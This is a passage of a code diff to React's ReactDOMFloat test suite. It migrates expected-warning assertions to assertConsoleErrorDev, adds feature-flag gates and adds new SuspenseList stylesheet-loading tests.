-            <body>foo</body>
-          </html>
-        </>,
-      );
-      const aggregateError = await waitForThrow();
-      expect(aggregateError.errors.length).toBe(2);
-      expect(aggregateError.errors[0].message).toContain(
-        'Invalid insertion of LINK',
-      );
-      expect(aggregateError.errors[1].message).toContain(
-        'The node to be removed is not a child of this node',
-      );
-    }).toErrorDev(
-      [
-        'Cannot render a <link> with onLoad or onError listeners outside the main document. Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or somewhere in the <body>.',
-      ],
-      {withoutStack: 1},
+        </html>
+      </>,
     );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <link> with onLoad or onError listeners outside the main document. ' +
+        'Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or ' +
+        'somewhere in the <body>.',
+    ]);
+    return;
   });
 
   it('can acquire a resource after releasing it in the same commit', async () => {
@@ -691,7 +702,18 @@ describe('ReactDOMFloat', () => {
       pipe(writable);
     });
     expect(chunks).toEqual([
-      '<!DOCTYPE html><html><head><script async="" src="foo"></script><title>foo</title></head><body>bar',
+      '<!DOCTYPE html><html><head><script async="" src="foo"></script>' +
+        (gate(flags => flags.shouldUseFizzExternalRuntime)
+          ? '<script src="react-dom/unstable_server-external-runtime" async=""></script>'
+          : '') +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<link rel="expect" href="#_R_" blocking="render"/>'
+          : '') +
+        '<title>foo</title></head>' +
+        '<body>bar' +
+        (gate(flags => flags.enableFizzBlockingRender)
+          ? '<template id="_R_"></template>'
+          : ''),
       '</body></html>',
     ]);
   });
@@ -725,7 +747,9 @@ describe('ReactDOMFloat', () => {
     });
 
     expect(
-      Array.from(document.getElementsByTagName('script')).map(n => n.outerHTML),
+      Array.from(document.querySelectorAll('script[async]')).map(
+        n => n.outerHTML,
+      ),
     ).toEqual(['<script src="src-of-external-runtime" async=""></script>']);
   });
 
@@ -1227,6 +1251,13 @@ body {
       pipe(writable);
     });
 
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>loading...</body>
+      </html>,
+    );
+
     await act(() => {
       resolveText('unblock');
     });
@@ -1254,9 +1285,7 @@ body {
     const suspenseInstance = boundaryTemplateInstance.previousSibling;
 
     expect(suspenseInstance.data).toEqual('$!');
-    expect(boundaryTemplateInstance.dataset.dgst).toBe(
-      'Resource failed to load',
-    );
+    expect(boundaryTemplateInstance.dataset.dgst).toBe('CSS failed to load');
 
     expect(getMeaningfulChildren(document)).toEqual(
       <html>
@@ -1302,7 +1331,7 @@ body {
     );
     expect(errors).toEqual([
       'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',
-      'Resource failed to load',
+      'CSS failed to load',
     ]);
   });
 
@@ -2229,40 +2258,43 @@ body {
         </html>
       );
     }
-    await expect(async () => {
-      await act(() => {
-        const {pipe} = renderToPipeableStream(<App />);
-        pipe(writable);
-      });
-      expect(getMeaningfulChildren(document)).toEqual(
-        <html>
-          <head>
-            <link
-              rel="stylesheet"
-              href="foo"
-              data-precedence="default"
-              crossorigin="anonymous"
-              media="all"
-              integrity="somehash"
-              referrerpolicy="origin"
-              data-foo={'"quoted"'}
-              nonstandardattr="attr"
-              properlyformattednonstandardattr="attr"
-            />
-          </head>
-          <body>
-            <div>loading...</div>
-          </body>
-        </html>,
-      );
-    }).toErrorDev([
-      'React does not recognize the `nonStandardAttr` prop on a DOM element.' +
-        ' If you intentionally want it to appear in the DOM as a custom attribute,' +
-        ' spell it as lowercase `nonstandardattr` instead. If you accidentally passed it from a' +
-        ' parent component, remove it from the DOM element.',
-      'Invalid values for props `shouldnotincludefunctions`, `norsymbols` on <link> tag. Either remove them from' +
-        ' the element, or pass a string or number value to keep them in the DOM. For' +
-        ' details, see https://react.dev/link/attribute-behavior',
+    await act(() => {
+      const {pipe} = renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link
+            rel="stylesheet"
+            href="foo"
+            data-precedence="default"
+            crossorigin="anonymous"
+            media="all"
+            integrity="somehash"
+            referrerpolicy="origin"
+            data-foo={'"quoted"'}
+            nonstandardattr="attr"
+            properlyformattednonstandardattr="attr"
+          />
+        </head>
+        <body>
+          <div>loading...</div>
+        </body>
+      </html>,
+    );
+    assertConsoleErrorDev([
+      'React does not recognize the `nonStandardAttr` prop on a DOM element. ' +
+        'If you intentionally want it to appear in the DOM as a custom attribute, ' +
+        'spell it as lowercase `nonstandardattr` instead. If you accidentally passed it from a ' +
+        'parent component, remove it from the DOM element.\n' +
+        '    in link (at **)\n' +
+        '    in App (at **)',
+      'Invalid values for props `shouldnotincludefunctions`, `norsymbols` on <link> tag. ' +
+        'Either remove them from the element, or pass a string or number value to keep them in the DOM. ' +
+        'For details, see https://react.dev/link/attribute-behavior \n' +
+        '    in link (at **)\n' +
+        '    in App (at **)',
     ]);
 
     // Now we flush the stylesheet with the boundary
@@ -2599,30 +2631,136 @@ body {
     );
   });
 
-  it('warns if you render a tag with itemProp outside <body> or <head>', async () => {
+  it('warns if you render <meta> tag with itemProp outside <body> or <head>', async () => {
     const root = ReactDOMClient.createRoot(document);
     root.render(
       <html>
         <meta itemProp="foo" />
+      </html>,
+    );
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. ' +
+        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +
+        'If you were intending for React to hoist this <meta> remove the `itemProp` prop. ' +
+        'Otherwise, try moving this tag into the <head> or <body> of the Document.\n' +
+        '    in html (at **)',
+      'In HTML, <meta> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '>   <meta itemProp="foo">' +
+        '\n' +
+        '\n    in meta (at **)',
+    ]);
+  });
+
+  it('warns if you render a <title> tag with itemProp outside <body> or <head>', async () => {
+    const root = ReactDOMClient.createRoot(document);
+    root.render(
+      <html>
         <title itemProp="foo">title</title>
+      </html>,
+    );
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <title> outside the main document if it has an `itemProp` prop. ' +
+        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +
+        'If you were intending for React to hoist this <title> remove the `itemProp` prop. ' +
+        'Otherwise, try moving this tag into the <head> or <body> of the Document.\n' +
+        '    in html (at **)',
+      'In HTML, <title> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '>   <title itemProp="foo">' +
+        '\n' +
+        '\n    in title (at **)',
+    ]);
+  });
+
+  it('warns if you render a <style> tag with itemProp outside <body> or <head>', async () => {
+    const root = ReactDOMClient.createRoot(document);
+    root.render(
+      <html>
         <style itemProp="foo">style</style>
+      </html>,
+    );
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <style> outside the main document if it has an `itemProp` prop. ' +
+        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +
+        'If you were intending for React to hoist this <style> remove the `itemProp` prop. ' +
+        'Otherwise, try moving this tag into the <head> or <body> of the Document.\n' +
+        '    in html (at **)',
+      'In HTML, <style> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '>   <style itemProp="foo">' +
+        '\n' +
+        '\n    in style (at **)',
+    ]);
+  });
+
+  it('warns if you render a <link> tag with itemProp outside <body> or <head>', async () => {
+    const root = ReactDOMClient.createRoot(document);
+    root.render(
+      <html>
         <link itemProp="foo" />
+      </html>,
+    );
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <link> outside the main document if it has an `itemProp` prop. ' +
+        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +
+        'If you were intending for React to hoist this <link> remove the `itemProp` prop. ' +
+        'Otherwise, try moving this tag into the <head> or <body> of the Document.\n' +
+        '    in html (at **)',
+      'In HTML, <link> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '>   <link itemProp="foo">\n' +
+        '\n' +
+        '    in link (at **)',
+    ]);
+  });
+
+  it('warns if you render a <script> tag with itemProp outside <body> or <head>', async () => {
+    const root = ReactDOMClient.createRoot(document);
+    root.render(
+      <html>
         <script itemProp="foo" />
       </html>,
     );
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev([
-      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
-      'Cannot render a <title> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <title> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
-      'Cannot render a <style> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <style> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
-      'Cannot render a <link> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <link> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
-      'Cannot render a <script> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <script> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',
-      'In HTML, <meta> cannot be a child of <html>',
-      'In HTML, <title> cannot be a child of <html>',
-      'In HTML, <style> cannot be a child of <html>',
-      'In HTML, <link> cannot be a child of <html>',
-      'In HTML, <script> cannot be a child of <html>',
+
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <script> outside the main document if it has an `itemProp` prop. ' +
+        '`itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. ' +
+        'If you were intending for React to hoist this <script> remove the `itemProp` prop. ' +
+        'Otherwise, try moving this tag into the <head> or <body> of the Document.\n' +
+        '    in html (at **)',
+      'In HTML, <script> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '>   <script itemProp="foo">\n' +
+        '\n' +
+        '    in script (at **)',
+      ...(gate('enableTrustedTypesIntegration')
+        ? [
+            'Encountered a script tag while rendering React component. ' +
+              'Scripts inside React components are never executed when rendering on the client. ' +
+              'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\n' +
+              '     in script (at **)',
+          ]
+        : []),
     ]);
   });
 
@@ -3253,27 +3391,29 @@ body {
     });
     await waitForAll([]);
 
-    // Although the commit suspended, a preload was inserted.
-    expect(getMeaningfulChildren(document)).toEqual(
-      <html>
-        <head>
-          <link rel="preload" href="foo" as="style" />
-        </head>
-        <body>loading...</body>
-      </html>,
-    );
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      // Although the commit suspended, a preload was inserted.
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head>
+            <link rel="preload" href="foo" as="style" />
+          </head>
+          <body>loading...</body>
+        </html>,
+      );
 
-    loadPreloads(['foo']);
-    assertLog(['load preload: foo']);
-    expect(getMeaningfulChildren(document)).toEqual(
-      <html>
-        <head>
-          <link rel="stylesheet" href="foo" data-precedence="default" />
-          <link rel="preload" href="foo" as="style" />
-        </head>
-        <body>loading...</body>
-      </html>,
-    );
+      loadPreloads(['foo']);
+      assertLog(['load preload: foo']);
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head>
+            <link rel="stylesheet" href="foo" data-precedence="default" />
+            <link rel="preload" href="foo" as="style" />
+          </head>
+          <body>loading...</body>
+        </html>,
+      );
+    }
 
     loadStylesheets(['foo']);
     assertLog(['load stylesheet: foo']);
@@ -3303,35 +3443,36 @@ body {
       );
     });
     await waitForAll([]);
-    expect(getMeaningfulChildren(document)).toEqual(
-      <html>
-        <head>
-          <link rel="stylesheet" href="foo" data-precedence="default" />
-          <link rel="preload" href="foo" as="style" />
-          <link rel="preload" href="bar" as="style" />
-        </head>
-        <body>
-          <div style="display: none;">hello</div>loading...
-        </body>
-      </html>,
-    );
-
-    loadPreloads(['bar']);
-    assertLog(['load preload: bar']);
-    expect(getMeaningfulChildren(document)).toEqual(
-      <html>
-        <head>
-          <link rel="stylesheet" href="foo" data-precedence="default" />
-          <link rel="stylesheet" href="bar" data-precedence="default" />
-          <link rel="preload" href="foo" as="style" />
-          <link rel="preload" href="bar" as="style" />
-        </head>
-        <body>
-          <div style="display: none;">hello</div>loading...
-        </body>
-      </html>,
-    );
+    if (gate(flags => flags.alwaysThrottleRetries)) {
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head>
+            <link rel="stylesheet" href="foo" data-precedence="default" />
+            <link rel="preload" href="foo" as="style" />
+            <link rel="preload" href="bar" as="style" />
+          </head>
+          <body>
+            <div style="display: none;">hello</div>loading...
+          </body>
+        </html>,
+      );
 
+      loadPreloads(['bar']);
+      assertLog(['load preload: bar']);
+      expect(getMeaningfulChildren(document)).toEqual(
+        <html>
+          <head>
+            <link rel="stylesheet" href="foo" data-precedence="default" />
+            <link rel="stylesheet" href="bar" data-precedence="default" />
+            <link rel="preload" href="foo" as="style" />
+            <link rel="preload" href="bar" as="style" />
+          </head>
+          <body>
+            <div style="display: none;">hello</div>loading...
+          </body>
+        </html>,
+      );
+    }
     loadStylesheets(['bar']);
     assertLog(['load stylesheet: bar']);
     expect(getMeaningfulChildren(document)).toEqual(
@@ -3490,12 +3631,30 @@ body {
       </html>,
     );
 
-    await expect(async () => {
-      loadStylesheets();
-    }).toErrorDev([
-      "Hydration failed because the server rendered HTML didn't match the client.",
-    ]);
+    loadStylesheets();
     assertLog(['load stylesheet: foo']);
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      "Error: Hydration failed because the server rendered HTML didn't match the client. " +
+        'As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n' +
+        "- A server/client branch `if (typeof window !== 'undefined')`.\n" +
+        "- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n" +
+        "- Date formatting in a user's locale which doesn't match the server.\n" +
+        '- External changing data without sending a snapshot of it along with the HTML.\n' +
+        '- Invalid HTML tag nesting.\n\n' +
+        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n' +
+        'https://react.dev/link/hydration-mismatch\n\n' +
+        '  <html>\n' +
+        '    <body>\n' +
+        '      <div>\n' +
+        '      <div>\n' +
+        '        <Suspense fallback="loading 2...">\n' +
+        '          <Component>\n' +
+        '            <link>\n' +
+        '+           <div>' +
+        '\n    in <stack>',
+    ]);
+    jest.runAllTimers();
 
     expect(getMeaningfulChildren(document)).toEqual(
       <html>
@@ -4712,12 +4871,14 @@ body {
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        renderToPipeableStream(<App />).pipe(writable);
-      });
-    }).toErrorDev([
-      'React encountered a hoistable style tag for the same href as a preload: "foo". When using a style tag to inline styles you should not also preload it as a stylsheet.',
+    await act(() => {
+      renderToPipeableStream(<App />).pipe(writable);
+    });
+    assertConsoleErrorDev([
+      'React encountered a hoistable style tag for the same href as a preload: "foo". ' +
+        'When using a style tag to inline styles you should not also preload it as a stylsheet.\n' +
+        '    in style (at **)\n' +
+        '    in App (at **)',
     ]);
 
     expect(getMeaningfulChildren(document)).toEqual(
@@ -5087,6 +5248,10 @@ body {
       </html>,
     );
     loadStylesheets();
+    // Let the styles flush and then flush the boundaries
+    await 0;
+    await 0;
+    jest.runAllTimers();
     assertLog([
       'load stylesheet: shell preinit/shell',
       'load stylesheet: shell/shell preinit',
@@ -5411,13 +5576,23 @@ body {
         );
       }
 
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App url="foo" />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. Browsers do not perform DNS queries using CORS and setting this attribute on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
+      await act(() => {
+        renderToPipeableStream(<App url="foo" />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\n' +
+          '    in App (at **)',
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +
+          'Browsers do not perform DNS queries using CORS and setting this attribute ' +
+          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +
+          'a single string argument, `href`.\n' +
+          '    in App (at **)',
       ]);
 
       expect(getMeaningfulChildren(document)).toEqual(
@@ -5430,11 +5605,21 @@ body {
       );
 
       const root = ReactDOMClient.hydrateRoot(document, <App url="foo" />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. Browsers do not perform DNS queries using CORS and setting this attribute on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\n' +
+          '    in App (at **)',
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +
+          'Browsers do not perform DNS queries using CORS and setting this attribute ' +
+          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +
+          'a single string argument, `href`.\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
@@ -5446,11 +5631,21 @@ body {
       );
 
       root.render(<App url="bar" />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
-        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, but encountered something with type "object" as a second argument instead. This argument is reserved for future options and is currently disallowed. It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. Browsers do not perform DNS queries using CORS and setting this attribute on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\n' +
+          '    in App (at **)',
+        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +
+          'but encountered something with type "object" as a second argument instead. ' +
+          'This argument is reserved for future options and is currently disallowed. ' +
+          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +
+          'Browsers do not perform DNS queries using CORS and setting this attribute ' +
+          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +
+          'a single string argument, `href`.\n' +
+          '    in App (at **)',
       ]);
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
@@ -5578,6 +5773,181 @@ body {
     );
   });
 
+  // @gate enableSuspenseList
+  it('delays "forwards" SuspenseList rows until the css of previous rows have completed', async () => {
+    await act(() => {
+      renderToPipeableStream(
+        <html>
+          <body>
+            <Suspense fallback="loading...">
+              <SuspenseList revealOrder="forwards" tail="visible">
+                <Suspense fallback="loading foo...">
+                  <BlockedOn value="foo">
+                    <link rel="stylesheet" href="foo" precedence="foo" />
+                    foo
+                  </BlockedOn>
+                </Suspense>
+                <Suspense fallback="loading bar...">bar</Suspense>
+                <BlockedOn value="bar">
+                  <Suspense fallback="loading baz...">
+                    <BlockedOn value="baz">baz</BlockedOn>
+                  </Suspense>
+                </BlockedOn>
+              </SuspenseList>
+            </Suspense>
+          </body>
+        </html>,
+      ).pipe(writable);
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>loading...</body>
+      </html>,
+    );
+
+    // unblock css loading
+    await act(() => {
+      resolveText('foo');
+    });
+
+    // bar is still blocking the whole list
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'loading...'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+
+    // unblock inner loading states
+    await act(() => {
+      resolveText('bar');
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'loading foo...'}
+          {'loading bar...'}
+          {'loading baz...'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+
+    // resolve the last boundary
+    await act(() => {
+      resolveText('baz');
+    });
+
+    // still blocked on the css of the first row
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'loading foo...'}
+          {'loading bar...'}
+          {'loading baz...'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+
+    await act(() => {
+      loadStylesheets();
+    });
+    await assertLog(['load stylesheet: foo']);
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'foo'}
+          {'bar'}
+          {'baz'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('delays "together" SuspenseList rows until the css of previous rows have completed', async () => {
+    await act(() => {
+      renderToPipeableStream(
+        <html>
+          <body>
+            <SuspenseList revealOrder="together">
+              <Suspense fallback="loading foo...">
+                <BlockedOn value="foo">
+                  <link rel="stylesheet" href="foo" precedence="foo" />
+                  foo
+                </BlockedOn>
+              </Suspense>
+              <Suspense fallback="loading bar...">bar</Suspense>
+            </SuspenseList>
+          </body>
+        </html>,
+      ).pipe(writable);
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head />
+        <body>
+          {'loading foo...'}
+          {'loading bar...'}
+        </body>
+      </html>,
+    );
+
+    await act(() => {
+      resolveText('foo');
+    });
+
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'loading foo...'}
+          {'loading bar...'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+
+    await act(() => {
+      loadStylesheets();
+    });
+    await assertLog(['load stylesheet: foo']);
+    expect(getMeaningfulChildren(document)).toEqual(
+      <html>
+        <head>
+          <link rel="stylesheet" href="foo" data-precedence="foo" />
+        </head>
+        <body>
+          {'foo'}
+          {'bar'}
+          <link as="style" href="foo" rel="preload" />
+        </body>
+      </html>,
+    );
+  });
+
   describe('ReactDOM.preconnect(href, { crossOrigin })', () => {
     it('creates a preconnect resource when called', async () => {
       function App({url}) {
@@ -5594,13 +5964,15 @@ body {
         );
       }
 
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App url="foo" />).pipe(writable);
-        });
-      }).toErrorDev(
-        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) to be a string but encountered something with type "boolean" instead. Try removing this option or passing a string value instead.',
-      );
+      await act(() => {
+        renderToPipeableStream(<App url="foo" />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +
+          'to be a string but encountered something with type "boolean" instead. ' +
+          'Try removing this option or passing a string value instead.\n' +
+          '    in App (at **)',
+      ]);
 
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
@@ -5614,11 +5986,13 @@ body {
       );
 
       const root = ReactDOMClient.hydrateRoot(document, <App url="foo" />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
-        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) to be a string but encountered something with type "boolean" instead. Try removing this option or passing a string value instead.',
-      );
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +
+          'to be a string but encountered something with type "boolean" instead. ' +
+          'Try removing this option or passing a string value instead.\n' +
+          '    in App (at **)',
+      ]);
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
           <head>
@@ -5631,11 +6005,13 @@ body {
       );
 
       root.render(<App url="bar" />);
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
-        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) to be a string but encountered something with type "boolean" instead. Try removing this option or passing a string value instead.',
-      );
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +
+          'to be a string but encountered something with type "boolean" instead. ' +
+          'Try removing this option or passing a string value instead.\n' +
+          '    in App (at **)',
+      ]);
       expect(getMeaningfulChildren(document)).toEqual(
         <html>
           <head>
@@ -5792,15 +6168,28 @@ body {
         return <div>foo</div>;
       }
 
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an `options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. The `href` argument encountered was `undefined`. The `options` argument encountered was `undefined`.',
-        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an `options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. The `href` argument encountered was an empty string. The `options` argument encountered was `undefined`.',
-        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an `options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. The `options` argument encountered was `null`.',
-        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an `options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. The `as` option encountered was `undefined`.',
+      await act(() => {
+        renderToPipeableStream(<App />).pipe(writable);
+      });
+      assertConsoleErrorDev([
+        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +
+          '`options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. ' +
+          'The `href` argument encountered was `undefined`. ' +
+          'The `options` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +
+          '`options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. ' +
+          'The `href` argument encountered was an empty string. ' +
+          'The `options` argument encountered was `undefined`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +
+          '`options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. ' +
+          'The `options` argument encountered was `null`.\n' +
+          '    in App (at **)',
+        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +
+          '`options` object with an `as` property valid for a `<link rel="preload" as="..." />` tag. ' +
+          'The `as` option encountered was `undefined`.\n' +
+          '    in App (at **)',
       ]);
     });
 
@@ -6048,16 +6437,30 @@ body {
         ReactDOM.preloadModule('2', {as: true});
         return <div>hello</div>;
       }
-      await expect(async () => {
-        await act(() => {
-          renderToPipeableStream(<App />).pipe(writable);
-        });
-      }).toErrorDev([
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was `undefined`',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was something with type "function"',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `href` argument encountered was an empty string',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `options` argument encountered was something with type "boolean"',
-        'ReactDOM.preloadModule(): Expected two arguments, a non-empty `href` string and, optionally, an `options` object with an `as` property valid for a `<link rel="modulepreload" as="..." />` tag. The `as` option encountered was something with type "boolean"',
+      await act(() => {
